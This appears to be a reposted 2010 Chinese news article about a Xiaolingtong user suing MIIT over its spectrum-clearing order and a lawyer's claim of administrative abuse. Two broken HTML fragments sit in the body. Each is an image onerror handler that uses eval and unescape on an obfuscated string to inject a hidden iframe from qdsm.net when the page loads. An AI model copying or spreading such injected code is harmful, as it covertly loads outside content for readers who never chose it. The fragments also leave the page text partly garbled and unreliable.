用户诉工信部小灵通退市文件侵权:未听证应撤销
用户诉工信部小灵通退市文件侵权:未听证应撤销 [转贴 2010-04-04 02:05:03]   
用户诉工信部小灵通退市文件侵权:未听证应撤销

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

昨天,小灵通用户时先生到一中院起诉工信部。他认为工信部取消小灵通的文件没有进行听证,请求一中院撤销该文件。

称文件侵犯财产使用权

今年2月13日,工信部发布《关于1990-1920MHz频段相关事宜的通知》,决定1900-1920MHz频段无线接入系统应在2011年底前完成清频退网工作,其所用频率无条件收回。

时先生说,“1900-1920MHz”是小灵通使用的频段,工信部等于是强制停止电信服务合同。他在起诉书中称,因为小灵通资费合理,是为中低端用户提供的基本通讯服务,他从2004年开始使用小灵通。一个产品不能由行政部门下文件就停止服务,而应由市场决定。工信部的文件侵犯了他对小灵通的财产使用权。

请求撤销文件进行听证

时先生表示,行政许可法规定,重大行政许可事项应当听证,工信部没有事先告知用户,也未举行听证,属于滥用市场支配地位的不公平行为。据此,他请求一中院确认工信部文件违法,撤销文件,判决工信部举行听证会,重新做出行政行为。

一中院已接收诉状,将在7日内答复时先生是否立案。

律师观点

文件涉嫌滥用行政权

北京中银律师事务所律师董正伟说,工信部的文件强制让小灵通3年内退市,这在客观上造成用户不得不接受xx电信服务产品,有“滥用行政权强迫企业实施垄断经营的嫌疑”。

董正伟表示,已向国家工商行政管理总局发信,请求对工信部文件审查,并确认违法。



0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_250_250.html%20width%3D250%20height%3D250%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

郑重声明:资讯 【用户诉工信部小灵通退市文件侵权:未听证应撤销】由 发布,版权归原作者及其所在单位,其原创性以及文中陈述文字和内容未经(企业库qiyeku.com)证实,请读者仅作参考,并请自行核实相关内容。若本文有侵犯到您的版权, 请你提供相关证明及申请并与我们联系(qiyeku # qq.com)或【在线投诉】,我们审核后将会尽快处理。
—— 相关资讯 ——